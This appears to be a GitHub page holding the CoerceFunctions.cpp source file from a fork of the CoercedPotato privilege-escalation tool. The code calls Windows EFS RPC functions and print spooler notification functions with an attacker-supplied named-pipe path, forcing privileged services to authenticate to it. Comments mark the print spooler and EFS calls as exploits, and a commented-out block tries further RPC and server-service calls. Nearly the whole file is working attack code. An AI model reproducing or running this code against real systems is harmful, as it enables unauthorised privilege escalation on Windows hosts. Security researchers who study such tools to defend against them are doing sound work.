forked from Prepouce/CoercedPotato
-
Notifications
You must be signed in to change notification settings - Fork 28
/
Copy pathCoerceFunctions.cpp
453 lines (374 loc) · 15.6 KB
/
CoerceFunctions.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
#include <iostream>
#include <Windows.h>
#include <functional>
#include <rpc.h>
#include <strsafe.h>
#include "lib/ms-efsr_h.h"
#include "lib/ms-rprn_h.h"
#include "CoerceFunctions.h"
long callEfsRpcOpenFileRaw(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcOpenFileRaw with target path: %ws\r\n", targetedPipeName);
long result;
long flag = 0;
PVOID pContext;
result = EfsRpcOpenFileRaw(Binding, &pContext, targetedPipeName, flag);
return result;
}
long callEfsRpcEncryptFileSrv(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcEncryptFileSrv with target path: %ws\r\n", targetedPipeName);
long result;
result = EfsRpcEncryptFileSrv(Binding, targetedPipeName);
return result;
}
long callEfsRpcDecryptFileSrv(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcDecryptFileSrv with target path: %ws\r\n", targetedPipeName);
long result;
long OpenFlag = 0;
result = EfsRpcDecryptFileSrv(Binding, targetedPipeName, OpenFlag);
return result;
}
long callEfsRpcQueryUsersOnFile(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcQueryUsersOnFile with target path: %ws\r\n", targetedPipeName);
long result;
ENCRYPTION_CERTIFICATE_HASH_LIST* Users = nullptr;
result = EfsRpcQueryUsersOnFile(Binding, targetedPipeName, &Users);
return result;
}
long callEfsRpcQueryRecoveryAgents(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcQueryRecoveryAgents with target path: %ws\r\n", targetedPipeName);
long result;
ENCRYPTION_CERTIFICATE_HASH_LIST* Users = nullptr;
result = EfsRpcQueryRecoveryAgents(Binding, targetedPipeName, &Users);
return result;
}
long callEfsRpcRemoveUsersFromFile(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcRemoveUsersFromFile with target path: %ws\r\n", targetedPipeName);
long result;
ENCRYPTION_CERTIFICATE_HASH_LIST users;
users.nCert_Hash = 1;
ENCRYPTION_CERTIFICATE_HASH user;
user.cbTotalLength = sizeof(ENCRYPTION_CERTIFICATE_HASH);
user.pUserSid = nullptr;
user.pHash = nullptr;
user.lpDisplayInformation = nullptr;
users.pUsers = new PENCRYPTION_CERTIFICATE_HASH[users.nCert_Hash];
users.pUsers[0] = &user;
result = EfsRpcRemoveUsersFromFile(Binding, targetedPipeName, &users);
return result;
}
long callEfsRpcAddUsersToFile(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcAddUsersToFile with target path: %ws\r\n", targetedPipeName);
long result;
ENCRYPTION_CERTIFICATE_LIST certificates;
certificates.nUsers = 1;
ENCRYPTION_CERTIFICATE user;
user.cbTotalLength = sizeof(ENCRYPTION_CERTIFICATE);
user.pUserSid = nullptr;
user.pCertBlob = nullptr;
certificates.pUsers = new PENCRYPTION_CERTIFICATE[certificates.nUsers];
certificates.pUsers[0] = &user;
result = EfsRpcAddUsersToFile(Binding, targetedPipeName, &certificates);
return result;
}
// NOT EXPLOITABLE YET
long callEfsRpcFileKeyInfo(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcFileKeyInfo with target path: %ws\r\n", targetedPipeName);
long result;
DWORD infoClass = 1;
EFS_RPC_BLOB* keyInfo = nullptr;
result = EfsRpcFileKeyInfo(Binding, targetedPipeName, infoClass, &keyInfo);
return result;
}
long callEfsRpcDuplicateEncryptionInfoFile(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcDuplicateEncryptionInfoFile with target path: %ws\r\n", targetedPipeName);
long result;
DWORD dwCreationDisposition = 1;
DWORD dwAttributes = 2;
result = EfsRpcDuplicateEncryptionInfoFile(Binding, targetedPipeName, targetedPipeName, dwCreationDisposition, dwAttributes, nullptr, FALSE);
return result;
}
long callEfsRpcAddUsersToFileEx(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcAddUsersToFileEx with target path: %ws\r\n", targetedPipeName);
long result;
DWORD dwFileKeyInfoFlags = 0;
ENCRYPTION_CERTIFICATE_LIST certificates;
certificates.nUsers = 1;
ENCRYPTION_CERTIFICATE user;
user.cbTotalLength = sizeof(ENCRYPTION_CERTIFICATE);
user.pUserSid = nullptr;
user.pCertBlob = nullptr;
certificates.pUsers = new PENCRYPTION_CERTIFICATE[certificates.nUsers];
certificates.pUsers[0] = &user;
result = EfsRpcAddUsersToFileEx(Binding, dwFileKeyInfoFlags, nullptr, targetedPipeName, &certificates);
return result;
}
// NOT EXPLOITABLE YET
long callEfsRpcFileKeyInfoEx(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcFileKeyInfoEx with target path: %ws\r\n", targetedPipeName);
long result;
DWORD dwFileKeyInfoFlags = 0;
DWORD InfoClass = 1;
EFS_RPC_BLOB* KeyInfo = nullptr;
result = EfsRpcFileKeyInfoEx(Binding, dwFileKeyInfoFlags, nullptr, targetedPipeName, InfoClass, &KeyInfo);
return result;
}
long callEfsRpcGetEncryptedFileMetadata(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcGetEncryptedFileMetadata with target path: %ws\r\n", targetedPipeName);
long result;
EFS_RPC_BLOB* EfsStreamBlob = nullptr;
result = EfsRpcGetEncryptedFileMetadata(Binding, targetedPipeName, &EfsStreamBlob);
return result;
}
long callEfsRpcEncryptFileExSrv(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcEncryptFileExSrv with target path: %ws\r\n", targetedPipeName);
long result;
wchar_t* ProtectorDescriptor = nullptr;
unsigned long Flags = 0;
result = EfsRpcEncryptFileExSrv(Binding, targetedPipeName, ProtectorDescriptor, Flags);
return result;
}
long callEfsRpcQueryProtectors(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcQueryProtectors with target path: %ws\r\n", targetedPipeName);
long result;
PENCRYPTION_PROTECTOR_LIST* ppProtectorList = new PENCRYPTION_PROTECTOR_LIST;
ppProtectorList[0] = new ENCRYPTION_PROTECTOR_LIST;
ppProtectorList[0]->nProtectors = 1;
PENCRYPTION_PROTECTOR protector = new ENCRYPTION_PROTECTOR;
protector->cbTotalLength = sizeof(ENCRYPTION_PROTECTOR);
protector->pUserSid = nullptr;
protector->lpProtectorDescriptor = nullptr;
ppProtectorList[0]->pProtectors = new PENCRYPTION_PROTECTOR[1];
ppProtectorList[0]->pProtectors[0] = protector;
result = EfsRpcQueryProtectors(Binding, targetedPipeName, &ppProtectorList);
return result;
}
long callRpcRemoteFindFirstPrinterChangeNotification(wchar_t* targetedPipeName) {
wprintf(L"[*] Invoking RpcRemoteFindFirstPrinterChangeNotification with target path: %ws\r\n", targetedPipeName);
// RETRIEVING HOSTNAME. NECESSARY FOR PRINTSPOOLER EXPLOIT
char computerName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = sizeof(computerName);
GetComputerNameA(computerName, &size);
wchar_t* localhostComputerName;
localhostComputerName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(localhostComputerName, MAX_PATH, L"\\\\%hs", computerName);
// INITIALIZING ALL PARAMETERS
PRINTER_HANDLE hPrinter = NULL;
HRESULT hr = NULL;
DEVMODE_CONTAINER devmodeContainer;
SecureZeroMemory((char*)&(devmodeContainer), sizeof(DEVMODE_CONTAINER));
RpcTryExcept
{
hr = RpcOpenPrinter(localhostComputerName, &hPrinter, NULL, &devmodeContainer, 0);
if (hr == ERROR_SUCCESS) {
hr = RpcRemoteFindFirstPrinterChangeNotification(hPrinter, 0x00000100 /* PRINTER_CHANGE_ADD_JOB */,0, targetedPipeName, 0, NULL,NULL);
RpcClosePrinter(&hPrinter);
}
else
{
wprintf(L"RpcOpenPrinter failed %d\n", hr);
}
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER);
{
hr = RpcExceptionCode();
}
RpcEndExcept;
return hr;
}
long callRpcRemoteFindFirstPrinterChangeNotificationEx(wchar_t* targetedPipeName) {
wprintf(L"[*] Invoking RpcRemoteFindFirstPrinterChangeNotificationEx with target path: %ws\r\n", targetedPipeName);
// RETRIEVING HOSTNAME. NECESSARY FOR PRINTSPOOLER EXPLOIT
char computerName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = sizeof(computerName);
GetComputerNameA(computerName, &size);
wchar_t* localhostComputerName;
localhostComputerName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(localhostComputerName, MAX_PATH, L"\\\\%hs", computerName);
// INITIALIZING ALL PARAMETERS
PRINTER_HANDLE hPrinter = NULL;
HRESULT hr = NULL;
DEVMODE_CONTAINER devmodeContainer;
SecureZeroMemory((char*)&(devmodeContainer), sizeof(DEVMODE_CONTAINER));
RpcTryExcept
{
// GETTING PRINTER HANDLE
hr = RpcOpenPrinter(localhostComputerName, &hPrinter, NULL, &devmodeContainer, 0);
if (hr == ERROR_SUCCESS) {
hr = RpcRemoteFindFirstPrinterChangeNotificationEx(hPrinter, 0x00000100 /* PRINTER_CHANGE_ADD_JOB */,0, targetedPipeName, 0, NULL);
RpcClosePrinter(&hPrinter);
}
else
{
wprintf(L"[MS-RPRN] [-] RpcOpenPrinter failed %d\n", hr);
}
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER);
{
hr = RpcExceptionCode();
return hr;
}
RpcEndExcept;
return 0;
}
/*
long callRpcAsyncOpenPrinterEx(handle_t hRemoteBinding) {
// RETRIEVING HOSTNAME. NECESSARY FOR PRINTSPOOLER EXPLOIT
char computerName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = sizeof(computerName);
GetComputerNameA(computerName, &size);
wchar_t* localhostComputerName;
localhostComputerName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(localhostComputerName, MAX_PATH, L"\\\\%hs", computerName);
// INITIALIZING ALL PARAMETERS
PRINTER_HANDLE hPrinter = NULL;
HRESULT hr = NULL;
DEVMODE_CONTAINER devmodeContainer;
SecureZeroMemory((char*)&(devmodeContainer), sizeof(DEVMODE_CONTAINER));
SPLCLIENT_CONTAINER ClientInfoContainer;
ClientInfoContainer.Level = 1;
SPLCLIENT_INFO_1* client_info = new SPLCLIENT_INFO_1;
client_info->dwBuildNum = 14393;
client_info->dwMajorVersion = 6;
client_info->dwMinorVersion = 0;
client_info->dwSize = sizeof(SPLCLIENT_INFO_1);
client_info->pMachineName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(client_info->pMachineName, MAX_PATH, L"MyRemoteComputer");
client_info->pUserName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(client_info->pUserName, MAX_PATH, L"LAB\\user-da");
client_info->wProcessorArchitecture = 64;
ClientInfoContainer.ClientInfo.pClientInfo1 = client_info;
RpcTryExcept
{
// GETTING PRINTER HANDLE
hr = RpcAsyncOpenPrinter(hRemoteBinding, localhostComputerName, &hPrinter, NULL, &devmodeContainer, 0,&ClientInfoContainer);
if (hr == ERROR_SUCCESS) {
wprintf(L"BIND OK \r\n");
RpcClosePrinter(&hPrinter);
}
else
{
wprintf(L"[MS-RPRN] [-] RpcOpenPrinter failed %d\n", hr);
}
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER);
{
hr = RpcExceptionCode();
std::cerr << "[-] An error has occurred during the RpcAsyncOpenPrinter : " << hr << std::endl;
}
RpcEndExcept;
return hr;
}
long callRpcAsyncAddPrintProcessor(handle_t hRemoteBinding, wchar_t* targetedPipeName) {
HRESULT hr;
char computerName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = sizeof(computerName);
GetComputerNameA(computerName, &size);
wchar_t* pName;
pName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(pName, MAX_PATH, L"\\\\%hs", computerName);
wchar_t* pPrintProcessorName;
pPrintProcessorName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(pPrintProcessorName, MAX_PATH, L"Microsoft Print to PDF");
RpcTryExcept
{
// GETTING PRINTER HANDLE
hr = RpcAsyncAddPrintProcessor(hRemoteBinding, pName, NULL, targetedPipeName, pPrintProcessorName);
if (hr == ERROR_SUCCESS) {
wprintf(L"BIND OK \r\n");
}
else
{
wprintf(L"[MS-RPRN] [-] RpcOpenPrinter failed %d\n", hr);
}
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER);
{
hr = RpcExceptionCode();
std::cerr << "[-] An error has occurred during the RpcAsyncOpenPrinter : " << hr << std::endl;
}
RpcEndExcept;
return hr;
}
long callNetrFileGetInfo(wchar_t* targetedNamedPipe){
HRESULT hr;
DWORD level = 2;
LPFILE_INFO InfoStruct = NULL;
DWORD fileId = 1;
RpcTryExcept
{
hr = NetrFileGetInfo(targetedNamedPipe, fileId, level, InfoStruct);
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER);
{
hr = RpcExceptionCode();
std::cerr << "[-] An error has occurred during the NetrFileGetInfo() : " << hr << std::endl;
}
RpcEndExcept;
return hr;
}
long callNetrShareGetInfo(wchar_t* targetedPipeName) {
long result = 0;
DWORD level = 2;
wchar_t* serverName;
serverName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(serverName, MAX_PATH, L"\\\\localhost");
SHARE_INFO_2 InfoStruct;
memset(&InfoStruct, 0, sizeof(SHARE_INFO_2));
result = NetrShareGetInfo(serverName, targetedPipeName, level, (LPSHARE_INFO)&InfoStruct);
if (result != 0) {
std::cerr << "Erreur lors de l'appel à NetrShareGetInfo. Code d'erreur : " << result << std::endl;
// Gérer l'erreur selon vos besoins.
}
else {
wprintf(L"Nom : %ls\n", InfoStruct.shi2_netname);
wprintf(L"OK\n");
}
return result;
}
long callNetrShareCheck(wchar_t* targetedPipeName) {
long result = 0;
wchar_t* serverName;
serverName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(serverName, MAX_PATH, L"localhost");
DWORD Type;
result = NetrShareCheck(serverName, targetedPipeName, &Type);
wprintf(L"NetrShareCheck returned %lx\n", result);
return result;
}
long callNetprPathType(wchar_t* targetedPipeName) {
long result = 0;
wchar_t* serverName;
serverName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(serverName, MAX_PATH, L"localhost");
DWORD pathType;
DWORD flags = 0;
NetprPathType(serverName, targetedPipeName, &pathType, flags);
wprintf(L"NetprPathType returned %lx\n", result);
return result;
}
long callNetprNameValidate(wchar_t* targetedPipeName) {
long result = 0;
wchar_t* serverName;
serverName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(serverName, MAX_PATH, L"localhost");
DWORD netName = 9;
DWORD flags = 0;
result = NetprNameValidate(serverName, targetedPipeName, netName, flags);
wprintf(L"NetprNameValidate returned %lx\n", result);
return result;
}
long callNetrpGetFileSecurity(wchar_t* targetedPipeName) {
long result = 0;
wchar_t* serverName;
serverName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(serverName, MAX_PATH, L"localhost");
wchar_t* lpFileName;
lpFileName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(lpFileName, MAX_PATH, L"foo1234");
SECURITY_INFORMATION RequestedInformation = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION;
PADT_SECURITY_DESCRIPTOR SecurityDescriptor = NULL;
result = NetrpGetFileSecurity(serverName, targetedPipeName, lpFileName, RequestedInformation, &SecurityDescriptor);
wprintf(L"NetrpGetFileSecurity returned %lx\n", result);
return result;
}
*/